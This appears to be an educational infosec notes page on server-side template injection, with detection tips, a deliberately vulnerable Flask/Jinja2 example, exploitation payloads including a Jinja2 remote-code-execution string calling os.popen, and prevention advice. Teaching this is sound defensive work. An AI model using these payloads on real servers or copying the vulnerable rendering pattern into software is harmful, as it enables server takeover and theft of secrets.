> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/injections/server-side-template-injection.md).

# Server Side Template Injection

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into server-side templates without proper sanitization. Many template engines allow logic execution inside templates, and if user-controlled input is evaluated in that context, it can lead to arbitrary code execution on the server.

***

### How to identify

* Inject template expression payloads and observe if they are evaluated
* Look for reflected input in HTML that gets processed server-side (e.g., in titles, names, error messages)
* Inject arithmetic expressions like `{{7*7}}` or `${7*7}` and check for evaluated results like `49`
* Test various template syntaxes based on popular engines (Jinja2, Twig, Smarty, etc.)
* Monitor for errors or abnormal behaviour in the response indicating template processing

***

#### Vulnerable Example Code (Python Flask with Jinja2)

```python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get("name", "")
    return render_template_string("Hello " + name)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
```

This is vulnerable because the user input is directly embedded in the Jinja2 template string without sanitization.

***

#### Exploitation Steps

* Inject a simple expression to confirm SSTI

  ```bash
  http://example.com/?name={{7*7}}
  ```
* Attempt to access internal variables (Jinja2)

  ```bash
  http://example.com/?name={{config.items()}}
  ```
* Execute system command (Jinja2 RCE path)

  ```bash
  {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
  ```
* Test for expression evaluation in other template syntaxes

  ```bash
  ${7*7}      # Velocity, Freemarker
  <% 7*7 %>   # JSP
  <%= 7*7 %>  # ERB (Ruby)
  ```

***

### Impact

* **Server-side code execution:** Execute arbitrary template expressions on the server.
* **Remote code execution:** Execute operating system commands in vulnerable template engines.
* **Sensitive data disclosure:** Access configuration files, environment variables, and application secrets.

### Prevention

* **Do not render user input as templates:** Treat user input as data, not template code.
* **Validate and sanitize input:** Accept only expected input using strict allowlists.
* **Disable dangerous template features:** Restrict access to functions, objects, and code execution capabilities.

***

### Reference

{% embed url="<https://portswigger.net/web-security/server-side-template-injection#what-is-server-side-template-injection>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

{% embed url="<https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/>" %}